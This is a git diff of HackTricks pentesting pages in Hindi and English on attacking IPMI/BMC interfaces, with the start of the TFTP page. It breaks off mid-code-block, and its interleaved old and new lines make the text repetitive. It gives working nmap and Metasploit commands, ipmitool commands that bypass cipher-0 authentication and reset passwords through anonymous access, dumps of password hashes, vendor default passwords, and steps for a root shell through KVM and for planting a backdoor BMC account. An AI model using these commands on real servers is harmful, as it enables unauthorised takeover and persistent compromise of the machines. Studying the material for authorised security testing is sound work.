**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** कंप्यूटर सिस्टम के दूरस्थ प्रबंधन और निगरानी के लिए एक मानकीकृत दृष्टिकोण प्रदान करता है, जो ऑपरेटिंग सिस्टम या पावर स्थिति से स्वतंत्र है। यह तकनीक सिस्टम प्रशासकों को दूरस्थ रूप से सिस्टम प्रबंधित करने की अनुमति देती है, यहां तक कि जब वे बंद या असंवेदनशील होते हैं, और यह विशेष रूप से उपयोगी है:
|
||||||
|
|
||||||
- पूर्व-ओएस बूट कॉन्फ़िगरेशन
|
- प्री-ओएस बूट कॉन्फ़िगरेशन
|
||||||
- पावर-ऑफ प्रबंधन
|
- पावर-ऑफ प्रबंधन
|
||||||
- सिस्टम विफलताओं से पुनर्प्राप्ति
|
- सिस्टम विफलताओं से पुनर्प्राप्ति
|
||||||
|
|
||||||
IPMI तापमान, वोल्टेज, फैन की गति और पावर सप्लाई की मॉनिटरिंग करने में सक्षम है, साथ ही इन्वेंटरी जानकारी प्रदान करने, हार्डवेयर लॉग की समीक्षा करने और SNMP के माध्यम से अलर्ट भेजने में सक्षम है। इसके संचालन के लिए एक विद्युत स्रोत और एक LAN कनेक्शन आवश्यक हैं।
|
IPMI तापमान, वोल्टेज, फैन स्पीड और पावर सप्लाई की निगरानी करने में सक्षम है, साथ ही इन्वेंटरी जानकारी प्रदान करता है, हार्डवेयर लॉग की समीक्षा करता है, और SNMP के माध्यम से अलर्ट भेजता है। इसके संचालन के लिए एक पावर स्रोत और एक LAN कनेक्शन आवश्यक हैं।
|
||||||
|
|
||||||
इंटेल द्वारा 1998 में पेश किए जाने के बाद, IPMI को कई विक्रेताओं द्वारा समर्थित किया गया है, दूरस्थ प्रबंधन क्षमताओं को बढ़ावा देते हुए, विशेष रूप से संस्करण 2.0 के सीरियल ओवर LAN के समर्थन के साथ। मुख्य घटक शामिल हैं:
|
1998 में Intel द्वारा पेश किए जाने के बाद से, IPMI को कई विक्रेताओं द्वारा समर्थित किया गया है, जो दूरस्थ प्रबंधन क्षमताओं को बढ़ाता है, विशेष रूप से संस्करण 2.0 के LAN पर सीरियल के समर्थन के साथ। मुख्य घटक शामिल हैं:
|
||||||
|
|
||||||
- **बेसबोर्ड प्रबंधन नियंत्रक (BMC):** IPMI कार्यों के लिए मुख्य माइक्रो-नियंत्रक।
|
- **बेसबोर्ड प्रबंधन नियंत्रक (BMC):** IPMI संचालन के लिए मुख्य माइक्रो-कंट्रोलर।
|
||||||
- **संचार बसेस और इंटरफेस:** आंतरिक और बाह्य संचार के लिए, जैसे ICMB, IPMB, और स्थानीय और नेटवर्क कनेक्शन के लिए विभिन्न इंटरफेस।
|
- **संचार बसें और इंटरफेस:** आंतरिक और बाहरी संचार के लिए, जिसमें ICMB, IPMB, और स्थानीय और नेटवर्क कनेक्शनों के लिए विभिन्न इंटरफेस शामिल हैं।
|
||||||
- **IPMI मेमोरी:** लॉग और डेटा सहेजने के लिए।
|
- **IPMI मेमोरी:** लॉग और डेटा संग्रहीत करने के लिए।
|
||||||
|
|
||||||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट**: 623/UDP/TCP (यह आम तौर पर UDP पर होता है लेकिन यह TCP पर भी चल सकता है)
|
**डिफ़ॉल्ट पोर्ट**: 623/UDP/TCP (यह आमतौर पर UDP पर होता है लेकिन यह TCP पर भी चल सकता है)
|
||||||
|
|
||||||
## गणना
|
## Enumeration
|
||||||
|
|
||||||
### खोज
|
### Discovery
|
||||||
```bash
|
```bash
|
||||||
nmap -n -p 623 10.0.0./24
|
nmap -n -p 623 10.0.0./24
|
||||||
nmap -n-sU -p 623 10.0.0./24
|
nmap -n-sU -p 623 10.0.0./24
|
||||||
use auxiliary/scanner/ipmi/ipmi_version
|
use auxiliary/scanner/ipmi/ipmi_version
|
||||||
```
|
```
|
||||||
आप **पहचान** कर सकते हैं **संस्करण** का उपयोग करके:
|
आप **संस्करण** का **पहचान** कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/scanner/ipmi/ipmi_version
|
use auxiliary/scanner/ipmi/ipmi_version
|
||||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||||
```
|
```
|
||||||
### IPMI सुरक्षा दोष
|
### IPMI Vulnerabilities
|
||||||
|
|
||||||
IPMI 2.0 के क्षेत्र में, एक महत्वपूर्ण सुरक्षा दोष को दान फार्मर ने खोज निकाला, **साइफर प्रकार 0** के माध्यम से एक दुरुपयोग को उजागर किया गया। यह दोष, जिसे विस्तार से दस्तावेजीकृत किया गया है [दान फार्मर के शोध](http://fish2.com/ipmi/cipherzero.html), किसी भी पासवर्ड के साथ अनधिकृत पहुंच को संभव बनाता है यदि एक मान्य उपयोगकर्ता को लक्षित किया गया है। यह कमजोरी HP, Dell, और Supermicro जैसे निर्माताओं के विभिन्न BMCs पर पाई गई थी, जो सभी IPMI 2.0 कार्यान्वयनों में एक व्यापक समस्या का सुझाव देती है।
|
IPMI 2.0 के क्षेत्र में, Dan Farmer द्वारा एक महत्वपूर्ण सुरक्षा दोष का पता लगाया गया, जो **cipher type 0** के माध्यम से एक कमजोरी को उजागर करता है। यह कमजोरी, जिसे [Dan Farmer's research](http://fish2.com/ipmi/cipherzero.html) में विस्तार से दस्तावेजित किया गया है, किसी भी पासवर्ड के साथ अनधिकृत पहुंच की अनुमति देती है यदि एक मान्य उपयोगकर्ता को लक्षित किया जाए। यह कमजोरी HP, Dell, और Supermicro जैसे निर्माताओं के विभिन्न BMCs में पाई गई, जो सभी IPMI 2.0 कार्यान्वयन में एक व्यापक समस्या का सुझाव देती है।
|
||||||
|
|
||||||
### **साइफर 0 के माध्यम से IPMI प्रमाणीकरण बायपास**
|
### **IPMI Authentication Bypass via Cipher 0**
|
||||||
|
|
||||||
इस दोष को पहचानने के लिए, निम्नलिखित Metasploit ऑक्जिलरी स्कैनर का उपयोग किया जा सकता है:
|
इस दोष का पता लगाने के लिए, निम्नलिखित Metasploit सहायक स्कैनर का उपयोग किया जा सकता है:
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||||
```
|
```
|
||||||
इस दोष का शोधन `ipmitool` के साथ संभव है, जैसा नीचे प्रदर्शित किया गया है, जिससे उपयोगकर्ता के पासवर्ड की सूचीकरण और संशोधन की अनुमति होती है:
|
इस दोष का शोषण `ipmitool` के साथ किया जा सकता है, जैसा कि नीचे प्रदर्शित किया गया है, जो उपयोगकर्ता पासवर्ड की सूची बनाने और संशोधित करने की अनुमति देता है:
|
||||||
```bash
|
```bash
|
||||||
apt-get install ipmitool # Installation command
|
apt-get install ipmitool # Installation command
|
||||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||||||
```
|
```
|
||||||
### **IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval**
|
### **IPMI 2.0 RAKP प्रमाणीकरण दूरस्थ पासवर्ड हैश पुनर्प्राप्ति**
|
||||||
|
|
||||||
यह दुरुपयोग किसी भी मौजूदा उपयोक्ता के लिए नमकीन है जिससे नमकीन है नमकीन है (MD5 और SHA1) को पुनः प्राप्त करना। इस दुरुपयोग की परीक्षण के लिए, Metasploit एक मॉड्यूल प्रदान करता है:
|
यह भेद्यता किसी भी मौजूदा उपयोगकर्ता नाम के लिए नमकीन हैश किए गए पासवर्ड (MD5 और SHA1) की पुनर्प्राप्ति की अनुमति देती है। इस भेद्यता का परीक्षण करने के लिए, Metasploit एक मॉड्यूल प्रदान करता है:
|
||||||
```bash
|
```bash
|
||||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||||
```
|
```
|
||||||
### **IPMI अनाम प्रमाणीकरण**
|
### **IPMI गुमनाम प्रमाणीकरण**
|
||||||
|
|
||||||
बहुत से BMCs में डिफ़ॉल्ट कॉन्फ़िगरेशन "अनाम" एक्सेस की अनुमति देता है, जिसमें नल उपयोगकर्ता नाम और पासवर्ड स्ट्रिंग्स शामिल हैं। इस कॉन्फ़िगरेशन का उपयोग `ipmitool` का उपयोग करके नामित उपयोगकर्ता खातों के पासवर्ड रीसेट करने के लिए किया जा सकता है:
|
कई BMCs में एक डिफ़ॉल्ट कॉन्फ़िगरेशन "गुमनाम" पहुँच की अनुमति देता है, जिसे शून्य उपयोगकर्ता नाम और पासवर्ड स्ट्रिंग द्वारा पहचाना जाता है। इस कॉन्फ़िगरेशन का उपयोग नामित उपयोगकर्ता खातों के पासवर्ड को रीसेट करने के लिए `ipmitool` का उपयोग करके किया जा सकता है:
|
||||||
```bash
|
```bash
|
||||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||||||
```
|
```
|
||||||
### **सुपरमाइक्रो IPMI स्पष्ट-पाठ पासवर्ड**
|
### **Supermicro IPMI स्पष्ट-पाठ पासवर्ड**
|
||||||
|
|
||||||
IPMI 2.0 में एक महत्वपूर्ण डिज़ाइन चयन के अनिवार्यता के कारण BMCs में प्रमाणीकरण के लिए स्पष्ट-पाठ पासवर्ड को स्टोर करना आवश्यक है। सुपरमाइक्रो के इन पासवर्ड को स्थानों में स्टोर करना जैसे कि `/nv/PSBlock` या `/nv/PSStore` महत्वपूर्ण सुरक्षा संबंधित चिंताओं को उठाता है:
|
IPMI 2.0 में एक महत्वपूर्ण डिज़ाइन विकल्प प्रमाणीकरण उद्देश्यों के लिए BMCs के भीतर स्पष्ट-पाठ पासवर्डों के भंडारण की आवश्यकता करता है। Supermicro द्वारा इन पासवर्डों को `/nv/PSBlock` या `/nv/PSStore` जैसे स्थानों में संग्रहीत करने से महत्वपूर्ण सुरक्षा चिंताएँ उठती हैं:
|
||||||
```bash
|
```bash
|
||||||
cat /nv/PSBlock
|
cat /nv/PSBlock
|
||||||
```
|
```
|
||||||
### **सुपरमाइक्रो आईपीएमआई यूपीएनपी सुरक्षा उत्कृष्टता**
|
### **Supermicro IPMI UPnP Vulnerability**
|
||||||
|
|
||||||
सुपरमाइक्रो के आईपीएमआई फर्मवेयर में यूपीएनपी एसएसडीपी सुनने वाला श्रोत शामिल करना, विशेष रूप से यूडीपी पोर्ट १९०० पर, एक गंभीर सुरक्षा जोखिम लाता है। इंटेल एसडीके के यूपीएनपी डिवाइस संस्करण १.३.१ में कमियों, जैसा कि [रैपिड७ की भेदभाव](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) द्वारा विस्तार से वर्णित किया गया है, बीएमसी के लिए रूट एक्सेस की अनुमति देते हैं:
|
Supermicro के IPMI फर्मवेयर में UPnP SSDP श्रोता का समावेश, विशेष रूप से UDP पोर्ट 1900 पर, एक गंभीर सुरक्षा जोखिम प्रस्तुत करता है। UPnP उपकरणों के लिए Intel SDK संस्करण 1.3.1 में कमजोरियाँ, जैसा कि [Rapid7 के प्रकटीकरण](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) में विस्तृत किया गया है, BMC तक रूट एक्सेस की अनुमति देती हैं:
|
||||||
```bash
|
```bash
|
||||||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||||
```
|
```
|
||||||
### ब्रूट फोर्स
|
### Brute Force
|
||||||
|
|
||||||
**HP अपने Integrated Lights Out (iLO) उत्पाद के लिए** निर्माण के दौरान **डिफ़ॉल्ट पासवर्ड को यादृच्छिक बनाता है**। यह अभ्यास अन्य निर्माताओं के साथ विपरीत है, जो **स्थिर डिफ़ॉल्ट क्रेडेंशियल्स** का उपयोग करने की प्रवृत्ति रखते हैं। विभिन्न उत्पादों के लिए डिफ़ॉल्ट उपयोक्ता नाम और पासवर्ड का सारांश निम्नलिखित रूप में प्रदान किया गया है:
|
**HP अपने **Integrated Lights Out (iLO)** उत्पाद के लिए डिफ़ॉल्ट पासवर्ड को निर्माण के दौरान यादृच्छिक बनाता है। यह प्रथा अन्य निर्माताओं के विपरीत है, जो आमतौर पर **स्थिर डिफ़ॉल्ट क्रेडेंशियल्स** का उपयोग करते हैं। विभिन्न उत्पादों के लिए डिफ़ॉल्ट उपयोगकर्ता नाम और पासवर्ड का सारांश निम्नलिखित है:
|
||||||
|
|
||||||
- **HP Integrated Lights Out (iLO)** अपने डिफ़ॉल्ट पासवर्ड के रूप में **फैक्टरी यादृच्छिक 8-वर्णीय स्ट्रिंग** का उपयोग करता है, जो एक उच्च सुरक्षा स्तर का प्रदर्शन करता है।
|
- **HP Integrated Lights Out (iLO)** एक **फैक्टरी यादृच्छिक 8-चरित्र स्ट्रिंग** को अपने डिफ़ॉल्ट पासवर्ड के रूप में उपयोग करता है, जो उच्च सुरक्षा स्तर को दर्शाता है।
|
||||||
- **Dell का iDRAC, IBM का IMM**, और **Fujitsu का Integrated Remote Management Controller** जैसे उत्पाद सरल डिफ़ॉल्ट क्रेडेंशियल्स का उपयोग करते हैं, जैसे कि "calvin", "PASSW0RD" (जिसमें शून्य है), और "admin"।
|
- **Dell's iDRAC, IBM's IMM**, और **Fujitsu's Integrated Remote Management Controller** जैसे उत्पाद आसानी से अनुमानित पासवर्ड का उपयोग करते हैं जैसे "calvin", "PASSW0RD" (शून्य के साथ), और "admin" क्रमशः।
|
||||||
- इसी तरह, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, और **ASUS iKVM BMC** भी सरल डिफ़ॉल्ट क्रेडेंशियल्स का उपयोग करते हैं, जिनमें "ADMIN", "changeme", और "admin" उनके पासवर्ड के रूप में काम करते हैं।
|
- इसी तरह, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, और **ASUS iKVM BMC** भी सरल डिफ़ॉल्ट क्रेडेंशियल्स का उपयोग करते हैं, जिनमें "ADMIN", "changeme", और "admin" उनके पासवर्ड के रूप में कार्य करते हैं।
|
||||||
|
|
||||||
## BMC के माध्यम से होस्ट तक पहुंचना
|
## Accessing the Host via BMC
|
||||||
|
|
||||||
बेसबोर्ड प्रबंधन नियंत्रक (BMC) का प्रशासनिक एक्सेस होस्ट के ऑपरेटिंग सिस्टम तक पहुंचने के लिए विभिन्न मार्ग खोलता है। एक सीधा दृष्टिकोण BMC के कीबोर्ड, वीडियो, माउस (KVM) कार्यक्षमता का शोधन करना है। इसे या तो `init=/bin/sh` का उपयोग करके GRUB के माध्यम से होस्ट को रीबूट करके एक रूट शैल में पहुंचा जा सकता है या एक रेस्क्यू डिस्क के रूप में सेट किए गए वर्चुअल सीडी-रॉम से बूट करके। ऐसे तरीके होस्ट के डिस्क का सीधा परिवर्तन करने की अनुमति देते हैं, जिसमें बैकडोर्स का सम्मिलन, डेटा निकासी, या सुरक्षा मूल्यांकन के लिए कोई आवश्यक कार्रवाई शामिल है। हालांकि, इसके लिए होस्ट को रीबूट करने की आवश्यकता है, जो एक महत्वपूर्ण दोष है। बिना रीबूट किए, चल रहे होस्ट तक पहुंचना अधिक जटिल है और होस्ट के कॉन्फ़िगरेशन के साथ भिन्न होता है। यदि होस्ट का भौतिक या सीरियल कंसोल लॉगड इन रहता है, तो इसे आसानी से BMC के KVM या सीरियल-ओवर-लैन (sol) कार्यक्षमताओं के माध्यम से ले लिया जा सकता है `ipmitool` के माध्यम से। साझा हार्डवेयर संसाधनों के शोधन की अन्वेषण करना, जैसे कि i2c बस और सुपर I/O चिप, एक क्षेत्र है जिसे अधिक जांच की मांग करता है।
|
Baseboard Management Controller (BMC) तक प्रशासनिक पहुंच होस्ट के ऑपरेटिंग सिस्टम तक पहुंचने के लिए विभिन्न मार्ग खोलती है। एक सीधा दृष्टिकोण BMC के कीबोर्ड, वीडियो, माउस (KVM) कार्यक्षमता का लाभ उठाना है। यह या तो GRUB के माध्यम से रूट शेल पर होस्ट को पुनः प्रारंभ करके (`init=/bin/sh`) या एक वर्चुअल CD-ROM से बूट करके किया जा सकता है जिसे एक बचाव डिस्क के रूप में सेट किया गया है। ऐसे तरीके होस्ट के डिस्क में सीधे हेरफेर की अनुमति देते हैं, जिसमें बैकडोर डालना, डेटा निकालना, या सुरक्षा मूल्यांकन के लिए आवश्यक कोई भी कार्रवाई शामिल है। हालाँकि, इसके लिए होस्ट को पुनः प्रारंभ करना आवश्यक है, जो एक महत्वपूर्ण कमी है। बिना पुनः प्रारंभ किए, चल रहे होस्ट तक पहुंचना अधिक जटिल है और होस्ट की कॉन्फ़िगरेशन के साथ भिन्न होता है। यदि होस्ट का भौतिक या अनुक्रमिक कंसोल लॉग इन रहता है, तो इसे BMC के KVM या सीरियल-ओवर-LAN (sol) कार्यक्षमताओं के माध्यम से `ipmitool` के माध्यम से आसानी से नियंत्रित किया जा सकता है। साझा हार्डवेयर संसाधनों, जैसे i2c बस और सुपर I/O चिप के शोषण की खोज एक ऐसा क्षेत्र है जिसे आगे की जांच की आवश्यकता है।
|
||||||
|
|
||||||
## होस्ट से BMC में बैकडोर्स डालना
|
## Introducing Backdoors into BMC from the Host
|
||||||
|
|
||||||
एक BMC से लैंड करने पर, **स्थानीय BMC इंटरफेस का उपयोग करके एक बैकडोर उपयोक्ता खाता डाला जा सकता है**, सर्वर पर स्थायी उपस्थिति बनाते हुए। इस हमले के लिए **`ipmitool`** का मौजूद होना और BMC ड्राइवर समर्थन की सक्रियण की आवश्यकता है। निम्नलिखित कमांड दिखाते हैं कि कैसे होस्ट के स्थानीय इंटरफेस का उपयोग करके एक नया उपयोक्ता खाता BMC में डाला जा सकता है, जो प्रमाणीकरण की आवश्यकता को छोड़ देता है। यह तकनीक विभिन्न ऑपरेटिंग सिस्टमों के लिए लागू है, जिसमें लिनक्स, विंडोज, बीएसडी, और डॉस भी शामिल हैं।
|
BMC से लैस एक होस्ट को समझौता करने पर, **स्थानीय BMC इंटरफ़ेस का उपयोग एक बैकडोर उपयोगकर्ता खाता डालने के लिए किया जा सकता है**, जो सर्वर पर एक स्थायी उपस्थिति बनाता है। इस हमले के लिए **`ipmitool`** का समझौता किए गए होस्ट पर होना और BMC ड्राइवर समर्थन को सक्रिय करना आवश्यक है। निम्नलिखित कमांड दर्शाते हैं कि कैसे एक नया उपयोगकर्ता खाता होस्ट के स्थानीय इंटरफ़ेस का उपयोग करके BMC में इंजेक्ट किया जा सकता है, जो प्रमाणीकरण की आवश्यकता को बायपास करता है। यह तकनीक लिनक्स, विंडोज, BSD, और यहां तक कि DOS सहित विभिन्न ऑपरेटिंग सिस्टम पर लागू होती है।
|
||||||
```bash
|
```bash
|
||||||
ipmitool user list
|
ipmitool user list
|
||||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||||
|
@ -126,20 +127,21 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||||
|
|
||||||
* `port:623`
|
* `port:623`
|
||||||
|
|
||||||
## संदर्भ
|
## References
|
||||||
|
|
||||||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,42 +1,43 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
# मौलिक जानकारी
|
# Basic Information
|
||||||
|
|
||||||
**Trivial File Transfer Protocol (TFTP)** एक सीधा प्रोटोकॉल है जो **UDP पोर्ट 69** पर उपयोग किया जाता है जो प्रमाणीकरण की आवश्यकता न होने पर भी फ़ाइल ट्रांसफ़र करने की अनुमति देता है। **RFC 1350** में हाइलाइट किया गया है, इसकी सरलता का मतलब है कि इसमें मुख्य सुरक्षा सुविधाएँ नहीं हैं, जिससे सार्वजनिक इंटरनेट पर इसका सीमित उपयोग होता है। हालांकि, **TFTP** विशेष स्थितियों में इसकी प्रदर्शन क्षमता के कारण बड़े आंतरिक नेटवर्कों में **कॉन्फ़िगरेशन फ़ाइलें** और **ROM इमेजेस** को उपकरणों जैसे **VoIP हैंडसेट्स** में वितरित करने के लिए व्यापक रूप से उपयोग किया जाता है।
|
**ट्रिवियल फ़ाइल ट्रांसफर प्रोटोकॉल (TFTP)** एक सीधा प्रोटोकॉल है जो **UDP पोर्ट 69** पर उपयोग किया जाता है, जो फ़ाइल ट्रांसफर की अनुमति देता है बिना प्रमाणीकरण की आवश्यकता के। **RFC 1350** में उजागर, इसकी सरलता का मतलब है कि इसमें प्रमुख सुरक्षा सुविधाओं की कमी है, जिससे सार्वजनिक इंटरनेट पर सीमित उपयोग होता है। हालाँकि, **TFTP** बड़े आंतरिक नेटवर्क में **कॉन्फ़िगरेशन फ़ाइलों** और **ROM छवियों** को उपकरणों जैसे **VoIP हैंडसेट्स** में वितरित करने के लिए व्यापक रूप से उपयोग किया जाता है, क्योंकि यह इन विशिष्ट परिदृश्यों में कुशल है।
|
||||||
|
|
||||||
**TODO**: बिटटोरेंट-ट्रैकर क्या है इसके बारे में जानकारी प्रदान करें (Shodan इस पोर्ट को इस नाम से पहचानता है)। यदि इसके बारे में अधिक जानकारी है तो हमें बताएं, उदाहरण के लिए [**HackTricks टेलीग्राम समूह**](https://t.me/peass) में (या [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) में एक github मुद्दे में)।
|
**TODO**: Bittorrent-tracker के बारे में जानकारी प्रदान करें (Shodan इस पोर्ट को इस नाम से पहचानता है)। यदि आपके पास इसके बारे में अधिक जानकारी है तो हमें बताएं, उदाहरण के लिए [**HackTricks टेलीग्राम समूह**](https://t.me/peass) में (या [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) में एक गिटहब मुद्दे में)।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 69/UDP
|
**डिफ़ॉल्ट पोर्ट:** 69/UDP
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
69/udp open tftp script-set
|
69/udp open tftp script-set
|
||||||
```
|
```
|
||||||
# जांच
|
# Enumeration
|
||||||
|
|
||||||
TFTP निर्देशिका सूची प्रदान नहीं करता है, इसलिए स्क्रिप्ट `tftp-enum` from `nmap` डिफ़ॉल्ट पथ को ब्रूट-फ़ोर्स करने का प्रयास करेगा।
|
TFTP निर्देशिका सूची प्रदान नहीं करता है इसलिए `nmap` से स्क्रिप्ट `tftp-enum` डिफ़ॉल्ट पथों को ब्रूट-फोर्स करने की कोशिश करेगा।
|
||||||
```bash
|
```bash
|
||||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||||
```
|
```
|
||||||
## डाउनलोड/अपलोड
|
## डाउनलोड/अपलोड
|
||||||
|
|
||||||
आप Metasploit या Python का उपयोग कर सकते हैं ताकि आप फ़ाइलें डाउनलोड/अपलोड कर सकें:
|
आप यह जांचने के लिए Metasploit या Python का उपयोग कर सकते हैं कि क्या आप फ़ाइलें डाउनलोड/अपलोड कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
